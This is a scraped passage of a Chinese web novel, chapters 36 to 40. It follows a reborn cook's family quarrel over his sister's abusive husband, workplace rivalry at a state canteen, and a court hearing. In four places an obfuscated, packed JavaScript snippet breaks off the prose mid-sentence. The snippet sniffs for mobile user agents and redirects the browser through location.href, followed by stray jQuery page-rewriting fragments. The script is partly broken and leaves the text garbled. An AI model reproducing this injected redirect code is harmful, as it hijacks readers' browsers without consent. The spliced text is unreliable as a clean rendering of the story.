你说我不该打你家的主意,我就问你,这些年秀工资没交给你吗,天下哪有这样的媳妇,居然把工资交给娘家?”
这话一出,黎母直接就进入狂暴模式了,没等黎军哥俩撸袖子,再次冲到张母面前,一记耳光甩上去。
“放你老张家的狗臭屁,纯粹就是裤裆里拉板胡,瞎扯鸡八蛋,我闺女的工资哪有剩余,你家的所有开资,小叔子小姑子上学,你跟老不死吃的药片子,那样不是从我闺女的工资出,她八年好不容易攒了五百块钱,都被一群畜生偷了个一干二净。
你还有脸在这跟我算账,你凶罩子兜脸,不嫌磕碜的玩意……”
黎母怒气值爆表,嘴丫子说的都冒沫子了。
黎军弱弱地说道:“妈,您要不要歇会,让我们哥俩来,别给您气着了。”
黎母没好气指着张威:“把他给我撵出去,你跟强子都是聋子,没听见我说话吗?”
哥俩都挺无语的,老妈这顿输出,他俩根本就插不上手好吗。
张威被哥俩架着胳膊往出拖:“别逼我们哥俩动手,我姐是不会跟你回去的。”
黎军语气冰冷,他是一心想要姐姐离婚的,就怕这货哭爹喊娘地把姐姐说动了,毕竟他俩有两个孩子的。
“大弟,二弟,放开他。”
张威被拖到大门口的时候,黎秀突然走出房间,一手拉着一个孩子叫住兄弟俩。
“秀,我知道错了,我以后一定好好地爱你,你说往东我绝不往西,你说撵狗我绝不追鸡,家里以后都听你的……”
黎家人都看向出门的闺女,黎军心头有些失望。
“想要我回去,必须答应我几个条件。”
“秀”
“大丫头”
“姐”
黎家人异口同声,尤其是黎父黎母,气的都突突了。
“秀,你这孩子是不是死心眼,他家那种情况,你回去有好日子吗?”
“丫头,别多想,回来吧,咱家还是爸妈做主,你两个兄弟绝不敢放个屁。”
哥俩再次无语地看了看老娘,这话就没必要说了吧!
第36章 执迷不悟的大姐
张威挣脱开哥俩的胳膊,哭嚎着跑到黎秀跟前:“秀,你说,一万个条件我都答应。”
张母心里也松了一口气,只要不离婚,跟他们回去,以后还不是得听他老张家拿捏。
黎家人失望的看着闺女,黎母气得脸色铁青,自己这一通输出,不就是在表明态度,支持闺女吗,可是这孩子居然这么死心眼,根本没想过离婚。
“要我回去也可以,第一条就是分家,以后各过各的。”
“不行,坚决不能分家。”
张威还没开口,张母先不愿意了。
黎秀不再说话,拉着两个孩子直接转身,打算往房间走了。
“我答应,回去就分家。”
张威没管他妈。
“第二条,我们的宅基地不是下来了吗,开过年就盖房子,房子盖好后直接搬出去。”
这话让黎家人脸色稍微好了点,不在一起住,也算是摆脱了张家人对张威两口子的依赖,倒是可以考虑一二。
不过黎军心里还是很失望,真是应了那句话,好言难劝该死的鬼,姐姐执意要回去谁也帮不了她。
不过这事还有得缓,万一出现下次,想必就再也没有转圜的余地了。
“不行,你们搬出去,我们这一大家子咋办,你是老大,结婚了就不管下边的弟弟妹妹了?”
张母不愿意了。
“哎吆,这话说的,你两口子就顾着上炕舒坦,有本事生没本事养了,**了你死去啊!
想要我闺女帮你养活一窝王八犊子,亏你想得出来,腆个大腚眼子啥粪都往外喷。
养不起把你那黑窟窿缝了去别生啊!光屁股推磨,转着圈丢人的货,我闺女嫁到你家,简直倒了八辈子血霉……”
黎父拉了拉老婆子的衣角,用下巴指向晚辈们,意思是让老伴收敛点,别啥话都往外撂。
“你嘴巴子抽筋了,舌头长疮了,有本事你来啊,闺女被打了,你连个屁都不放,这俩货也是怂包蛋一对,你姐被打,你们倒是抄家伙上啊!”
黎母开启无差别模式,把爷仨也捎带上话话。
爷仨苦瓜脸,这是他们不上手吗,这是插不上手好吧!
张威脸色难看,他不是不想搬出去,但是盖房子他没钱啊,这些年他的工资都上交了,秀倒是攒了一笔钱,也被他拿来给二弟结婚用了。
“秀,可是……盖房子……咱没钱啊!”
“出去用玉米杆子搭个窝棚,或者挖个地窝子我都认了,日子苦点没啥,但是别糟心就行。”
话说到这里,黎母突然给了黎军一杵子:“你是**吗,你姐盖房子没钱,你就腚沟子夹紧,一个屁也别放。”
黎军现在可是实打实的有钱人,七万多的存折在当时可以吊打百分之九十九的农村人。
这货蛋都碎了,老妈这是有气没地方撒,那他出气呢!
“我姐盖房子钱我出,只要能跟张家划清界限就行。”
张威心里狂喜,丈母娘一家都是好人呐,还是自己主意真,抱着打不还手骂不还的想法,简直无往不利。
张母听到这话,心里说不上什么滋味,儿子白得大房子,她家却失去了可持续性吸血的大儿子。
黎秀感激地看着大弟,她现在没别的办法,两个孩子的哀求不能无视,想不离婚就必须跟张家人彻底断开,否则那个家是绝对不能回去的。
“我答应,秀,以后这个家都听你的。”
“还有,以后你的工资,上交给你妈一半就行了,我们只负责他们老两口养老,没义务养活你的其他兄弟。”
黎秀接着道,说话的时候,眼神瞟了一眼张母。
果不其然,张母一听这个,顿时脸颊扭曲。
“这不行,你不是还有工资吗,养活你一家人足够了,张威的工资是我们老两口的。”
“不要大逼脸的老**子,没牙老太咥锅盔,你老心咋想的,不怕放屁崩嘴唇子吗,你老两口子一个月十块钱足够养老了,还想着我闺女帮你养一窝瘪犊子玩意呢!”
黎母再次暴怒,这张母就像是一只大号绿豆苍蝇一样令她厌恶。
“不行就拉到,你们回去吧!”
黎秀根本没得商量。
“我答应,以后我的工资一半交给你,一半交给我妈。”
张母气的脸颊和嘴唇颤抖,觉得老张家的天都要塌了。
“最后一条,你二弟结婚时,拿走我的五百块钱,必须还给我。”
张母再次被暴击,吃进肚子里的东西,怎么可能吐出来。
“这条坚决不行,老二两口子在土里刨食,他没有钱还给你。”
黎秀不说话,扭头就往回走。
“秀,你别走,二弟现在的确没钱,你看让他慢慢还行吗?”
“你家人我信不过,我的钱是你妈拿走的,这笔钱从她的养老钱里扣,她现在能跑能走,暂时用不上我们养老。
你一个月给他十三块五,差不多三年多点就能抵扣我的钱了。”
张母整个人都不好了,只觉得自己真的**了。这意味着,她三年都见不到老大一分钱了。
张威艰难地点头:“我答应你,三年内工资都交给你。”
“别跟我打马虎眼,三年后只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067806|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能给你妈一半的工资,这样吧,三年后每个月给她二十块吧,我也不是不讲理的人。”
黎军听到这个,都要忍不住给大姐点赞了。
一半工资和每个月二十块块区别大了去了,因为以后的工资是逐年上涨的。
张威和张母没想到这里,还感激地看了黎秀好几眼。
黎秀之后又提了几个条件,张威也都硬着头皮答应了。
于是大姐的第二次被家暴就这么揭过去了,看着两个孩子欢天喜地,大姐又要跟着张威回去,黎军心里忍不住叹息。
看着一家人出门的背影,黎军突然想起了什么追出去。
“姐,有几句话我跟你说一下。”
黎秀看着弟弟高大的身影,一股没来由的安全感涌上心头。
“大弟,咋了?”
“姐,想要自己过得舒坦,首先你得学会拒绝别人,别迁就任何人,也别在意他人的看法,活在别人的眼里,就会死在他们的嘴里。
让别人自责,让别人生气,让别人自我怀疑,让别人破防,你就赢了。
每个人的路都是自己选的,既然你选择了原谅他,就得学会保护自己,别在意张威一家人怎么看你,更别在意村里人的闲言碎语,有什么想不通的事,无法释怀的委屈,没能力解决的难题,就回家来。”
大姐做了自己的选择,黎军只能劝她自我保护,做个有刺的人。
黎秀似乎懂了,又似乎没懂。
回到家,黎母疑惑地看着黎军:“咋了?”
“提醒一下我姐,不要迁就张家人,遇事别往心里搁,直接回来……”
“儿子,妈知道你心疼你姐,但是她毕竟有两个孩子,大宝二宝不能没有亲爸,我们不能光顾自己的感受,孩子是无辜的。”
黎母拍了拍大儿子的肩膀。
“答应你姐盖房子的事情,你不会后悔吧?”
黎父盯着儿子问道。
黎军撇了撇嘴,从兜里掏出存折递过去:“这钱还是给你和妈保管吧,怎么支配都由着你们,想给你闺女盖大别墅我都不管。”
黎父看了看黎母,两个人都默契得没伸手接。
这钱他们要是接了,就成了一家人的共同财产,但这是大儿子用命换来的,他们不能这么自私。
一个家里要和睦,最主要的就是长辈一碗水端平。
“这钱是你用命换来的,自己拿着吧,帮你姐其实就是帮我跟你妈,我们不会忘了你的付出的,强子也不是小气的人!”
黎强很无语:我就是小气的人,那么多钱呢,分我几十块零花钱不行吗?
第37章 你是猴子请来的逗比吗
“爸妈,也不知道你们瞎坚持什么,我姐差点被张家人打死,那种干啥啥不行,吃啥啥没够,还喜欢打女人的男人,早点踹了对谁都好。”
黎军接过父母推回来的存折不忿道。
“哎,自己选的路,咬着牙走下去吧,你看你姐也不同意离婚,咱有啥办法。
对了,回头你取一千块钱,给你姐送家去,现在冬季砖块便宜,让他们先把砖买了。”
黎父说完就背着手回屋了,黎母看了看两个儿子,欣慰地转身走了。
剩下哥俩回屋,躺在炕上抽烟闲谝。
“强子,我今天去村里看了看,房子啥的基本都倒塌了,村人估计也不会要了,明天你去二爸家问问,让他把合同赶紧弄好,对了,去时候买几条烟,让他给村部那些人分分。”
黎军说着从掏出三百块钱给弟弟。
“那都是二爸一句话的事,用不着花钱打点。”
“拿人的手软,**的嘴短,收了咱的东西,以后好打交道。”
“那也用不着这么多啊?”
黎强看着手上的一沓大团结疑惑。
“你明天骑车子去趟安市,看看有卖铁丝网的没,等二爸那边合同签了,咱买些铁丝网把老村子和荒山圈起来。”
“哥,你这么弄靠谱吗,能挣到钱吗?”
黎强总觉得不靠谱,他做木匠活在当时老多人羡慕了,一年挣不少呢!
“放心吧,听哥的准没错,我在南方见得多了,还有啊,把村子圈起来之后,我给你拿钱,你去一趟南方,批发点衣服裤衩啥的回来,这个春节就让你小赚一笔。”
“真的……”
哥俩聊到后半夜,黎强完全被大哥忽悠瘸了,就想着自己成为万元户,成为十里八乡首富的派头。
之后一个礼拜,饭店的生意是稳步上涨,经理刘小福整天是笑得见牙不见眼。
开业一周后,日接待量超过百桌,人手不够问题日益严重,增加人手终于被提上日程。
因为服务员们率先不干了,上菜、翻台、打扫卫生,一天天脚不沾地跑,许多人脚都肿了。
以往消停休闲惯了,生意一上来,她们就受不了了。
不过第一次刘小福提出增加人手被拒绝了,徐良给的回复是行政总厨不同意。
没生意的时候,这些人啥也不干被公家养着,生意刚有点起色就喊累,没有主人翁精神。
让他们发扬一下老一辈的精神,不怕苦,不怕累,咬紧牙关铆足劲。
月底这天,吃晚饭的时候,服务员领班杨彩凤发声了。
“经理,厨师长,再这样下去,会影响我们的接待量,没看大家都有怨言了吗?”
刘小福脸上带笑:“最近一段时间大家都辛苦了,再坚持一下,明天饮食公司例会,我会再跟徐总说一下增加人手。”
二食堂生意突飞猛进,其他兄弟单位也不清楚详情,开过例会后,大家会有一个比较,那时候营业额从吊车尾成了排头兵,他再提出增加人手,就不会有这么大阻力了。
“黎师傅,明天早上例会你也去吧,汇报一下这个月的成绩,在各位领导面前露个脸。”
黎军笑道:“领导们开会,我就不去了吧,一个戳锅底的厨子,就不抢领导镜头了,后厨现在还离不开我。”
“长脸的机会为啥不去,你没看那个左**吗,成天往领导面前凑,生怕把自己给剩下了。”
说话的是李莉莎,她来二食堂已经两周,人缘已经熟悉,说话也不再腼腆。
现在有事没事就喜欢往后厨跑,黎军的茶杯都快成了她的暖手宝。
不仅如此,吃饭也不坐服务员那桌了,就要跟后厨的坐一桌,还非得挨着黎军的座位。
而黎军作为二食堂含金量最高的光棍,大家也都有意无意地把两个人往一堆凑。
“听听,看人莉莎看得多通透,你得往上爬……才行,赶紧把那个左**挤下去才是王道。”
余家良不怀好意地起哄,“爬”字音拉得特长,成天听这些人开荤车,李莉莎也懂了不少,此刻被说得有点脸红。
“就是,人往高处走水往低处流,你不是常说,不思进取就是思想滑坡,跟着去呗,你要是把姓左的挤下去,我就买两瓶骊山白庆祝下。”
史建军笑道。
“跟着去呗,在领导面前露个脸没啥不好,你这么能干不做总厨可惜了。”
李莉莎很乐意看见黎军露脸升迁。
“不是吧莉莎,大军能干这事你也知道。”
余家良继续坏笑。
“他比你们谁都能干,谁看不出来?”
“这咋看出来的,我们还真的看不出来呢!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067807|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
史建军的话让所有过来人都一阵哄笑。
李莉莎没经过人事,还打算争辩一下。
黎军憋着笑道:“那个小李同志,赶紧吃饭,你跟他们没在一个频道上。”
李莉莎吐舌:我又不傻,插科打诨谁不会,你们男人不就喜欢这样子吗,我们女人也能把车开得贼溜好吧!
第二天一大早,黎军早早地赶到食堂门口,刘小福正在等他。
“非去不可吗?”
“走走走,这是好事,领导们对你特别肯定,不去可惜了。”
饮食公司会议室在一食堂的三楼,当两个人赶到的时候,徐良等人已经到了。
“哈哈哈……二食堂的大拿来了,随便坐,只是个例会,简单碰个头了解一下各单位近况。”
黎军点头,随便找了个靠里的位置坐下。
会议室不大,只有二十多平,中间四个拼起来的长条桌,周围都放着靠背椅子。
依次挨着徐良坐着七八个人,黎军仔细回想了一下上一世的记忆。
分别是其他两个食堂的经理和厨师长、会计、出纳采购等,还有两个叫不上名字的熟人,时间相隔太远,他努力了半晌也没想起来叫什么。
这时左**推门进来:“徐总,安**,刘主席,你们早啊!”
饮食公司支部**安国强,工会主席刘战胜。
左**一问话,黎军一下子想起来这两人的名字来。
“哎吆,这不是二食堂的黎大师傅吗,你怎么也来了。”
左**笑眯眯地看向黎军。
这戏谑的语气太欠了,黎军翻了个白眼:“你是猴子请来的逗比吗,一食堂和三食堂的厨师长都来了,我为什么能不能来,你是见不得我呢还是见不得二食堂的生意起来了?”
左**有点懵:“啥猴子……逗比,这不是一句玩笑话吗,我怎么会见不得你,二食堂生意上不去,我可是费老鼻子劲了。”
“呵呵,裤裆里拉板胡,瞎扯几把蛋的玩意,那怨气都弥漫出二里地了,身体周围都快成坟圈子了,二食堂人看见大气都不敢喘了,笑脸都要凝固在大饼脸上了,我看您还是赶紧歇了吧!”
黎军阴阳怪气嘀咕。
左**的笑脸终于耷拉下来,黎军从来到二食堂,就不怎么给待见他,一而再再而三地抹他的面子。
第38章 被针对的二食堂
“好了,按照惯例,现在由一食堂开始,汇报下这个月的营业额,以及下个月的工作安排。”
左**是行政总厨,兼着一食堂的厨师长,每次月底例会,都是他最露脸的时刻。
每个月稳定在两万左右的营业额,让他有足够的底气牛叉。
三食堂的潘小光在他之后做了报告,他们背靠三个数千人的国营大厂,生意自然不会差了,营业额也在一万以上,只比一食堂少了平均不到两千块。
没有婚宴、会议这类包席,三食堂能做到近两万的营业额很值得骄傲,但是受左**压榨,他们只能在一食堂面前俯首。
二食堂是刘小福做的报告,以往都是垫底的存在,也是他最难堪的例会。
但是今天他自信满满,二食堂升级开业后,半个月时间的营业额达到九千多块。
这成绩让在场的所有人都惊了,这么算的话,满月的话,二食堂营业额也就直逼两万块大关了。
徐良脸上明显松了口气,看黎军的眼神都要拉丝了,这绝对是个有能力的。
然后是糕点厂和甜食店做了报告,两个单位营业额都一般,属于不上不下,养活工人勉强够用的层次。
黎军却知道,八七年开年的时候,这两个单位入不敷出,直接关门解散了,有些有活动能力和眼力见的人进了三个食堂或者其他兄弟单位,其他人则成了开放后,劳动合同改制最早下岗的一批人。
至于下个月的工作安排就是老生常谈,没啥创意的老调调,徐良等人听得是乏味的想吐。
刘小福等别人报告完,示意黎军起身,做一下二食堂下个月的工作计划。
“徐总,各位领导,现在改革的春风袭来,民众手里慢慢地活泛了,街面上人流量也大了起来,所以我们打算把临街的橱窗利用起来,加工一些卤肉熟食外卖,另外再加一个早餐窗口,做些包子豆腐脑增加收入,争取下个月营业额成为三个食堂的第一……”
黎军将想好的思路说了一下,徐良听得直点头,心里更加放心了。
“很好,很有想法,黎军同志的思路很好,我第一个支持,糕点厂和甜食店也要多努力,集思广益,把生产模式仔细考虑考虑,看看有什么可以借鉴的地方……”
“这个黎军同志很有主人翁精神,思想一直放在二食堂,是个值得学习的榜样。”
这话是工会主席刘战胜说的。
党支部**笑道:“小同志年龄小,做事却很有主见,能力也足够好,只要踏实肯干,把二食堂生意搞上去,年底评个优秀员工奖励一下也行。”
这话让左**听得脸色不善,优秀员工是有奖励的,惯例就是一个月工资,算是不少了,关键这是领导班子对个人能力的肯定。
就跟厨子被顾客赞美菜烧得好一个道理。
“呵呵,要是干够全年的话,我看县里劳模是没跑了。”
刘战胜的话跟往左**心口扎刀子一样,对黎军的恨更加深刻,以往这些殊荣可都是他的。
“我看可以,明年报到市里,简直是给我们整个饮食公司长脸。”
一把手徐良也不吝夸奖。
左**都要气爆了,他在饮食公司十几年,从普通厨子干到行政总厨,从来没有做过劳模呢,凭啥一个新来的就有这待遇。
嫉妒让他丧失了思考能力,全然没想这才只是个设想,是徐良等人给黎军画的大饼。
“徐总,各位领导,我们现在人手严重不足,许多好点子都没办法实施,所以我们申请外招两个厨子和服务员,临时工也行,以缓解当前的压力,增加食堂的经营品类。”
黎军的话音刚落,左**就坐不住了,像个跳蚤一样迫不及待跳出来。
“哎吆,真是癞**打哈欠,口气不小,年轻人有想法很好,但是当着这么多领导的面吹牛就不应该了,一个月就想着成为销售第一,你也不怕风大闪了舌头。
做生意要稳中求胜,步子不要迈得太大,容易扯着蛋。
公家招工都是有指标的,不是说你空口白牙,上下嘴唇子一碰,说招就招,这个得开会商议。”
徐良听得直皱眉头,这个左**是脑残吗,后厨招临时工,哪里用得着这么麻烦,他这个一把手怎么都不知道还要开会商议呢。
刘战胜跟安国强对视一眼,都觉得左**说话不经过脑子,人家一心想着把生意搞上去,他怎么就这么大气性呢!
“哎呀,行政总厨的权利是真大啊,裤衩子当口罩,装了个戴牙的逼,这话说的,不知道的还以为你是饮食公司一把手呢!
我怎么癞**打哈欠了,我们二食堂开业半个月,营业额已经直逼你们一食堂了,没有婚宴会议那些包席,你以为一食堂还能稳坐第一?
我今天把话撂这,下个月我们就能稳超你的一食堂,要是不能超越,我宁可下岗去工地吃土。”
会议室一片哗然,不得不服黎军这个宏愿发得有些狠,毕竟二食堂的生意好与赖都不会影响他的正式工作,这么说就是自己给自己上发条。
左**脸色像吃了屎一样难看,说完就知道自己秃噜嘴说错话了,但是黎军
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067808|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又给他扒开了说一遍,直接把徐良晾哪了,这心思绝对够歹毒。
有些心虚地看了看徐良:“那个徐总,我不是这意思,我只是想二食堂步子不要迈得太大,一次不要上太多项目,一旦品质出现纰漏,会给二食堂好不容易扭转的现状造成影响。”
徐良笑了笑:“嗯,你考虑得很周到,是总厨该有的工作态度,不过以后把公家的制度吃透了再说话,别再弄笑话了,招几个临时工,我还是做得了主的。”
左**尴尬的脚指头都能抠出三室一厅,脑袋恨不得扎进裤裆里去。
“嘿……好嘛,不知道的还以为你是商业部部长呢,原来是个摆不正位置的厨子,你肩膀上那是肿瘤吧,脑子不用可以捐出去了!
刘战胜的话把左**的尴尬放大了数倍,黎军都要给他点赞了,这刀补得没毛病。
出了一食堂,刘小福再也忍不住哈哈大笑起来。
“今天是真解气啊,看着笑面虎吃瘪,就觉得很爽呢。”
“呵呵……这货也不知道因为啥,总是跟我们二食堂过不去?”
黎军倒是真的不清楚左**针对二食堂的原因,上一世家里诸事不顺,没心情工作,也就不关心这种事情。
刘小福心情好,就跟黎军多说了点。
“以前只有一食堂跟三食堂,甜食店和糕点厂是饮食公司的第二单位,那时候叫副食厂,大概是一九七八年前后吧,临县搬来了两个军工厂,就把副食厂改成了二食堂……原来的副食厂也分成了甜食店和糕点厂,左**的姐夫以前是副食厂厂长,副食厂分家时发现了他的一些问题,被下放到跃进公社供销社去卖货了,于是左**就记恨上二食堂了。”
黎军无语:“你都知道的事,徐良他们能不知道?”
“知道,以前的左**不这样,工作能力还是挺强的。
后来二食堂来了个技术过硬的临时工厨师长,那人手艺好,脾气倔,根本就不鸟他,两个人一而再再而三发生冲突,后来那个厨师长摔锅了,用勺子挠了左**两下,自己也就干不成了,从那以后,这货也就彻底记恨上了我们二食堂。”
“属王八的嘛,咬住就不松口了。”
“你才是属王八的,你全家都属王八。”
黎军刚说完,背后就响起左**的声音。
这就尴尬了,背后说人被逮到了。
“老左,你咋出来了,专门送我们俩的吗?”
黎军才不内耗呢,笑嘻嘻地跟左**打招呼。
有道是哪个背后不说人,谁又背后不被说呢!
第39章 我不同意
“我送你,你以为你是谁,我追出来就是想跟你确定一下,你说下个月二食堂干不过一食堂,你就辞职去工地,这是真的吗?”
要是当真,左**下个月使出吃奶的力气,也得把二食堂压制住,这家伙能力这么强,再给他折腾一两个月,自己这行政总厨恐怖就要黄了。
“假的,我又不是**二百五,放着正式工不干去工地?我要是闲的蛋疼就自己去炕边子或者枣树刺挠一下,才不会跟别人瞎咧咧。”
黎军满脸戏谑。
左**被噎得脸色铁青:“小子,你给我等着,有你好果子吃的。”
“哎吆,裤衩子太小,兜不住脸了呗,这就不装了,你那纯真的笑脸哪去了?”
黎军阴阳怪气把左**气个半死,眼神要是能**的话,估计**了得有几十遍。
“刘经理,咱们赶紧走,小心一会什么东西**,咱们被波及。”
刘小福都要憋不住了,两个肩膀不停地抖动。
招聘临时工的请求被批下来,那时候正经厨子并不多,要招到合适的人也不容易。
但是架不住国营饭店的招牌硬啊,消息放出去后,十里八乡能戳锅底的一下子就沸腾了,到第二天中午,就有三四个厨子被熟人介绍过来。
黎军并不需要他们有多好的手艺,只要人踏实肯干指哪打哪就行了,有他这个厨艺天花板存在,这些人很快就能上手。
服务员倒是很容易找,那时候农村辍学的大姑娘一抓一大把,十六七岁就在家闲着,帮着父母做家务,等着嫁人。
十二月的第三天一大早,二食堂临街的两个玻璃橱窗里,一个摆着酱红油亮的猪头肉、大猪蹄子、肥肠、猪尾巴卤猪肝,道口烧鸡,牛腱子等卤制品。
大门口也立起一块大木牌子,写着早餐供应,时辰包子、豆腐脑、八宝粥、葱花饼、馄饨、胡辣汤、肉夹馍等字样,二食堂的早餐也一起开了。
当时临县早餐只有甜食店一家,售卖的是鸡蛋醪糟和油条等,品类单一选择性不大。火车站也临时来了一个赶着驴车卖包子的,却是时有时无靠不住。
国营饭店早餐一经推出,品类繁多新颖,一下就引起巨大反响。
从开门就人头攒动,早班一直忙到十点半才收拾。
营业额居然有将近两百,刘小福全程笑得是见牙不见眼,嘴巴都要咧到耳朵根去了。
新来的两个厨子炒菜不咋样,面案却做得有声有色,发面使碱酵手到擒来。
餐饮行业里,面案素来有两套半技术的说法,发面团和呆面团以及拌馅。
时辰包子玩的就是发面,因为拌馅在餐饮行业只算半套技术。
早餐收尾后,两个新厨子被叫到后厨,跟史建军、余家良两个站炉子的一起学习炒菜技术。
黎军也不藏私,这几个人培训好了,就是他以后的班底。
十一点,新来的服务员伍一凡进来叫他。
“黎大哥,吧台有你的电话。”
黎军正在炉子上炼制料油,给史建军交代了一下,就跟着服务员出了后厨。
“你叫什么名字,昨天来的吗?”
伍一凡点头,有点怯懦道:“黎大哥,我……我能留下吗?”
服务员来了五个,试工期一过,有两个就会被淘汰掉。
黎军扭头看向她,只觉得眼前一亮,伍一凡生得唇红齿白,明亮的眼神中透着澄澈,些许怯懦更是惹人怜爱,高马尾让她多了一股青春的灵动,土掉渣的花格子棉袄并没有影响到靓丽的形象,白皙的肤色让她看起来并不像农村女孩。
不知是躁动的荷尔蒙作祟还是其他原因,黎军不自觉拿李莉莎跟眼前的女孩做了个比较。
前者青春飒爽,性格有些泼辣,长相算是中等,后者姣美灵动,性格还看不出来,但是长相绝加分太多。
黎军即便是重来一世也不能免俗,男人看女人,第一眼还是长相。
在心里意淫一下,只觉得眼前的女孩有培养成女朋友的潜质。
“做服务员没啥难度,你的自身条件没问题,大方一点,腿脚勤快点,嘴巴甜一点就可以了,对了,你有谈对象吗?”
伍一凡愕然,灵动的大眼睛有点慌乱:“黎大哥,这个……有……必然联系吗,饭店有啥规定没?”
黎军心里略感失望,这么说恐怕就是有了,农村
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067809|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女孩十七八嫁人的都有,更别说二十岁谈对象了,不过这些并不影响他发挥死皮赖脸和痴心妄想。
“怎么没有必然联系,谈了对象就不能专心工作了,你成天就想着男朋友,哪有心情去做事对吧?
饭店以前没有规定不能谈对象,但是现在我加一条,服务员没有我的允许,不能搞对象,要搞也得先考虑饭店的厨子或者砧板,没听人说吗,饼子配狗天长地久,厨子配服务员,情深意绵绵……”
伍一凡呆萌萌地问道:“黎大哥,你是认真的吗?”
“你看我像是开玩笑吗,你不会真的在谈对象吧?”
伍一凡白皙的手指捏着衣角:“我没有,就是……就是家里让今晚去……去见个面。”
“不行啊,坚决不行,我不同意。”
某人一本正经地胡说八道。
“小小年纪,把心思用在工作中不好吗,见啥面相啥亲,现在找一个正式工作多不容易,等以后工作稳定,你过了二十五再谈不迟?”
伍一凡懵懵的:“黎……大哥,我见面跟你……没关系吧?”
“怎么会没有关系,我是你的……直属上司,就是不同意,行不行吧!”
“直属上司不是领班和经理吗,厨师长也管前厅服务员?”
女孩睁着迷茫的大眼睛迷糊。
“你不同意算个屁,说得跟人家家长一样,想追人家就直说,别整个家长模样吓人小姑娘,赶紧过来接电话。”
刘小福和会计听得笑喷了,抖动着肩膀打断这货的胡诌八扯。
伍一凡脸颊刷的一下就红到耳朵根,拿着墩布和水桶就跑了。
电话是**局打来的,通知他拦路**的事明天要审判,要他去**听审。
放下电话,黎军想了一下:刘经理,明早我要去**听审,前半天可能来不了了。”
他被**的事情早就在食堂传开了,大家都比较关心嫌犯的下场,发生在身边的第一手大瓜,谁不想美美的吃一顿。
“那行,史建军和余家良在你的指点下,水平提升得很快,放心地去吧!”
黎军搓了搓脸,就觉得“放心的去吧”这话怪怪的。
第40章 **门前
临县法庭外,黎军正在锁自行车,一辆吉普车在路对面停下。
侯正东跟老婆董莹下车,跟他们一起的,还有当初劝说黎军的宁万征。
黎军暗忖,看来两个人关系不一般啊,怪不得在**局使劲劝说他来着。
侯正东看了黎军一眼,眼神里尽是怨毒,想起那五万块钱,他的肝都在颤抖。再加上活动司法人员,这一趟他出去了八万多块,妥妥的**孩子加大出血。
那可是八万块呢,他们两口子大半辈子的工资也没这么多。
要不是那些特殊年代里,他收敛了不菲的不义之财,还真的拿不出这么多钱呢!
“小杂种,老子的钱不是那么好拿的,迟早要你连十二指肠给老子吐出来。”
宁万征也看了一眼黎军,说实在的,财帛动人心,八万块他这个局长是万万拿不出来的。
清水衙门,这些来路不明的钱财,绝对够**他几分钟的。
“老侯,安宁点吧,先让胜利过了这一关再说,投案自首加举报的立功表现,以及受害者的谅解,轻判一下,然后再花点心思,弄个保外就医也是可以的。”
侯正东从黎军身上移开毒蛇一样的目光。
“嗯,老宁,这次的事回头重谢,对了,跟那几个小子通过风了没。”
“嗯,都打好招呼了,我跟他们说了,要是不配合,在里边也能整死他,随便打架斗殴就可以给加刑到无期……”
两个人低声说这话,董颖却忍不住了,对着黎军就开始嘴炮。
“小王八蛋,我儿子就是进去了,我们也能花钱弄出来,讹我们那么多钱,小心有命拿没命花。”
董莹作为女人,觉得这时候所有事都在掌握之中,发点牢骚打打嘴炮出气没啥。
黎军皱眉看着她:“你这婆娘是在说我吗,上厕所没擦嘴吧?”
董莹被这么怼,差点气得大姨妈都不正常了,脸颊扭曲,嘴唇子哆嗦。
“你……你这小杂种说谁呢?”
“你个老杂种说谁呢?”
“就说你了,黑心的杂种。”
“哦……我明白了,怪不得说话这么难听,原来是老杂种一个,你这是花了钱心里不痛快了吧?
先别急着不痛快,要是我把这五万块钱的赔偿金拿去给**委啥的,不知道会不会又牵扯出其他的什么腌臜东西。”
董莹的嘴巴戛然而止,像是被攥住脖子的老母鸡一样涨得通红。
“啪”
